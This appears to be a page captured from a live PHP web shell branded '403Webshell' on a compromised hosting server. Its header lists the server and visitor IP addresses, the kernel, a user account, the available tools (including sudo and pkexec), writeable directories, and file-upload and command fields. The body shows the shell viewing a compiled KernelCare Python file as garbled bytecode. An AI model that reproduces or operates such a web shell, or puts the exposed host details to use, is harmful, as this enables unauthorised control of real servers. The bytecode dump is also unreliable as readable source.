403Webshell
Server IP : 162.241.219.206  /  Your IP : 216.73.216.195
Web Server : Apache
System : Linux box5669.bluehost.com 5.14.0-687.15.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jun 11 08:51:45 EDT 2026 x86_64
User : signavd5 ( 2863)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/kcare/python/kcarectl/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/kcare/python/kcarectl/__pycache__/ipv6_support.cpython-39.pyc
a

��;j��@s�ddlZddlZddlZddlZddlmZmZmZmZm	Z	m
Z
ddlmZdZdZdZej�ejd�ZdZGdd	�d	e�Ze�Zd
d�Zdd
�Zdd�Zdd�Zdd�ZdS)�N�)�config�	constants�
http_utils�	log_utils�serverid�utils)�json_loads_nstr�zipv6_preference.jsoni�Qc@s,eZdZdd�Zedd��Zedd��ZdS)�IPProtoSelectorcCsbtjrt�d�dStj�d�s.t�d�dStjrBt�d�dSt�}|durlt�d�|r`dnd	��|Sd}|�	tj
�s�t�d
�d}n2|�	tj�s�t�d�d}nt��r�t�d�d}|dur�t
|�|S|jdd
�}|jdd
�}|tk�rt�d�d}nR|tk�rt�d�d}n8|tk�r8t�d�d}n|tk�rRt�d�d}nd}t
|�|S)ak
        Choose ipv6 if it is more suitable.
        Checks order:
        - check config values (it is faster) - eportal setup and FORCE_IPVx
        - then check each proto availability using HEAD requests
        - then check if we have server_id, it means we don't expect an ip license
        - and finally we need to check if there is an ip license
        z,decided to use ipv4 because of config valuesFzkernelcare.comz,decided to use ipv6 because of config valuesTNz%decided to use {0} from on-disk cache�ipv6Zipv4z1decided to use ipv4 because ipv6 is not availablez1decided to use ipv6 because ipv4 is not availablez/decided to use ipv4 because server id was found)rz2decided to use ipv4 because ipv4 license was foundz2decided to use ipv6 because ipv6 license was foundz8decided to use ipv4 because ipv4 trial license was foundz8decided to use ipv6 because ipv6 trial license was found)r�
FORCE_IPV4r�logdebug�PATCH_SERVER�endswith�
FORCE_IPV6�_read_cache�format�_is_url_reachable�PATCH_SERVER_IPV6r�get_serverid�_write_cache�_get_cln_license�CLN_VALID_LICENSE�CLN_TRIAL_ACTIVE_LICENSE)�self�cached�resultZipv4_licenseZipv6_license�r�2/usr/libexec/kcare/python/kcarectl/ipv6_support.py�is_ipv6_preferredsV













z!IPProtoSelector.is_ipv6_preferredc
Csjtj|ddd�}ztj|dddd�WdStyd}z$t�d�|t|���WYd}~dSd}~00dS)	N�HEAD)�method�auth_string�
F�)�timeout�retry_on_500�retry_countTz%error during HEAD request to {0}: {1})r�http_request�urlopen�	Exceptionrrr�str)�url�request�errrr`sz!IPProtoSelector._is_url_reachablecCs�|r
tjntj}|d}t�tj|dd����}t�|�}|rH|�	d�s^t
j�d�
|��tSzt|d�WSty�tYS0dS)Nz/check.plainF)r'�codezUnexpected CLN response: {0})r�REGISTRATION_URL_IPV6�REGISTRATION_URLr�nstrrr*�read�data_as_dict�getr�kcarelog�errorr�CLN_NO_LICENSE�int�
ValueError)rZbase_urlr-�content�inforrrrks
z IPProtoSelector._get_cln_licenseN)�__name__�
__module__�__qualname__r �staticmethodrrrrrrrs
A

rc	Cst�t�}|sdSzt|�}Wn,ttfyJtjd�|�dd�YdS0t	|t
�sntjd�|�dd�dS|�d�}t	|t�s�tjd�|�dd�dS|�d�}t	|t
j�r�t	|t�r�tjd�|�dd�dSt��t|�}|d	ks�|tk�r
t�d
�|t��dS|S)Nz+ipv6 preference cache: malformed json {0!r}F��	print_msgz/ipv6 preference cache: unexpected payload {0!r}�prefer_ipv6z3ipv6 preference cache: unexpected prefer_ipv6 {0!r}�tsz)ipv6 preference cache: malformed ts {0!r}rz;ipv6 preference cache: stale entry (age={0:.0f}s, ttl={1}s))r�try_to_read�
CACHE_FILEr	r;�	TypeErrorr�logwarnr�
isinstance�dictr6�bool�numbersZIntegral�timer:�CACHE_TTL_SECONDSr)r<�datarDZ	cached_tsZagerrrr�s0




rc
Csn|tt���d�}ztjtt�|�dd�Wn<ttfyh}z t	j
d�|�dd�WYd}~n
d}~00dS)N)rDrET)�
ensure_dirz*failed to write ipv6 preference cache: {0}FrB)r:rNr�atomic_writerG�json�dumps�OSError�IOErrorrrIr)rrPr/rrrr�s
�rcCs&zt�t�Wnty Yn0dS)z'Drop the on-disk ipv6 preference cache.N)�os�unlinkrGrUrrrr�clear_cache�srYcCst��rtjStjS�N)�ip_proto_selectorr rrrrrrr�get_patch_server�sr\cCst��rtjStjSrZ)r[r rr1r2rrrr�get_registration_url�sr])rSrMrWrN�rrrrrr�py23r	�Optionalrrr9�path�join�PATCH_CACHErGrO�objectrr[rrrYr\r]rrrr�<module>s" b'	

Youez - 2016 - github.com/yon3zu
LinuXploit